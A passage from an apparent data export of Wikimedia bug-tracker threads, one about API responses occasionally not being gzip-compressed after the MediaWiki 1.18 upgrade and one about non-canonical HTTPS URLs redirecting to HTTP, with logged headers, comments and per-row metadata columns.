+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq74.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq74.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:59 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:02 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq77.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq77.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:04 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:05 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq39.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq39.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq40.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq40.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq75.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq75.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:08 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:09 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:11 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:13 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:15 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq73.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq73.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
+
+This wasn't an issue prior to the 1.18 upgrade on Wikimedia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1318324320,1329750939.0,PHID-USER-7i3ugree666xnpuicp4p,False,,False,PHID-TASK-vkusgvsgjlp6uuqsft42,task_description,resolved,True,c2,1,False,False,True,-99,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+148123,Regression: API categorymembers and login occasionally fails to gzip/compress responses,Issue seems to have been fixed per comment 9. So I am closing this bug.,,,1329750939,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+148118,Regression: API categorymembers and login occasionally fails to gzip/compress responses,I ran a 5000+ request program on the Saturday after Thanksgiving without encountering this problem.,,,1323653377,,PHID-USER-7i3ugree666xnpuicp4p,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-90,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+148114,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Any more recent replications of this bug?
+
+I'm moving it to site related stuff also",,,1323622626,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-90,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+148110,Regression: API categorymembers and login occasionally fails to gzip/compress responses,Even more sounds like a bad server,,,1318394620,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0
+148105,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"I experienced this bug as well yesterday, but the issues appear to have gone away. All the test cases I ran just now succeeded.  Despite this, it may still be worth looking into; bugs do not just magically appear and then disappear.",,,1318393549,,PHID-USER-5vgiaxcu6ineiv2z2vdk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+148100,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"(In reply to comment #4)
+> Accept-Encoding=gzip is optional for the server. You should not insist on that,
+> because the server can you also send an uncompress result.
+
+Sorry, that is wrong, but makes the world easy.
+
+http://www.ietf.org/rfc/rfc2068.txt - 14.3 Accept-Encoding
+If an Accept-Encoding header is present, and if the server cannot send a response which is acceptable according to the Accept-Encoding header, then the server SHOULD send an error response with the 406 (Not Acceptable) status code.",,,1318357052,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+148094,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Accept-Encoding=gzip is optional for the server. You should not insist on that, because the server can you also send an uncompress result.
+
+Check with
+
+""gzip"".equals( connection.getHeaderField( ""Content-Encoding"" ) )
+
+if the server send you an gzipped result and you have to wrap your InputStream into a GZIPInputStream or not.",,,1318356528,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+148087,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"**ted** wrote:
+
+@Reedy: in MER-C's example, three of 25 requests fail. I was seeing some level of errors, now when I run that script all 25 succeed.
+
+Keep in mind this isn't/wasn't a problem with 'categorymembers', it is/was a general problem.",,,1318356415,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0
+148079,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"How occasionally is occasionally?
+
+Seems it might be more likely we've got a bad API Apache",,,1318350636,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,0
+148073,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Created attachment 9214
+Output of test program
+
+Attached output, I forgot that bugzilla wraps lines. (And I can't edit it out.)
+
+**Attached**: {F8126}",,,1318324554,,PHID-USER-7i3ugree666xnpuicp4p,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+33369,Non-canonical HTTPS URLs quietly redirect to HTTP,"https://mediawiki.org redirects to http://www.mediawiki.org/ currently. This is wrong and should be fixed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68553",High,80.0,1317793500,1400128227.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_description,resolved,True,c2,1,True,False,False,-99,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+153186,Non-canonical HTTPS URLs quietly redirect to HTTP,See Also: https://bugzilla.wikimedia.org/show_bug.cgi?id=68554,,,1406264933,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+153179,Non-canonical HTTPS URLs quietly redirect to HTTP,"**sumanah** wrote:
+
+Thanks to everyone who raised or worked on this issue - you have helped keep our users safer.",,,1400159182,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+153173,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to Matthew Flaschen from comment #76)
+> aa.wikipedia.com still doesn't work, but that's really bug 40998.
+
+I meant to say aa.wikiversity.com (the one mentioned earlier), but actually neither work.",,,1400128347,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+153167,Non-canonical HTTPS URLs quietly redirect to HTTP,"Now fixed, based on testing the prior examples from this thread, plus a couple extras.
+
+aa.wikipedia.com still doesn't work, but that's really bug 40998.
+
+Reopen if you find one that still has the issue.",,,1400128227,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+153159,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 106109 merged by Tim Starling:
+final (I hope!) fix for protorel redirects
+
+https://gerrit.wikimedia.org/r/106109",,,1400035818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+153150,Non-canonical HTTPS URLs quietly redirect to HTTP,"Lowering prio (thanks for the ping, Andre). Letting Jeremy/Ops take it from here. Chris Steipp can review if needed.",,,1393280789,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+153140,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to Gerrit Notification Bot from comment #64)
+> https://gerrit.wikimedia.org/r/106109
+
+jeremyb: Patch should be split into several patches - anybody willing to do this?
+
+Greg: You set this to highest priority half a year ago. Is the importance still correct?",,,1393239017,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,25,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1
+153132,Non-canonical HTTPS URLs quietly redirect to HTTP,"For the Toolserver redirects to come, I wrote Gerrit change #108467 if that's useful for this bug.",,,1390253515,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+153123,Non-canonical HTTPS URLs quietly redirect to HTTP,"As I suggested on IRC, I think this is an area where defined test cases would be very helpful, arguably essential.",,,1389940699,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+153114,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #69)
+> Shouldn't the response header for a HEAD request be identical to that for a
+> GET
+> request?
+
+Probably the same most of the time. Not saying HEAD testing is worthless but the first thing to test should be something that more closely approximates actual usage in the wild.",,,1389885326,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1
+153105,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #68)
+> 
+> Most UAs encountering these redirects will be sending GETs. Your tests used
+> HEAD. Why not use what most UAs will be using?
+
+Shouldn't the response header for a HEAD request be identical to that for a GET request?",,,1389764572,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+153097,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #67)
+> Why?
+
+Most UAs encountering these redirects will be sending GETs. Your tests used HEAD. Why not use what most UAs will be using?",,,1389763774,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1
+153090,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #66)
+> (In reply to comment #65)
+>> (In reply to comment #63)
+>> Please use curl -vs | grep rather than curl -Is
+> 
+> (make that curl -vs 2>&1 >/dev/null | grep)
+
+Why?",,,1389763630,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+153084,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #65)
+> (In reply to comment #63)
+> Please use curl -vs | grep rather than curl -Is
+
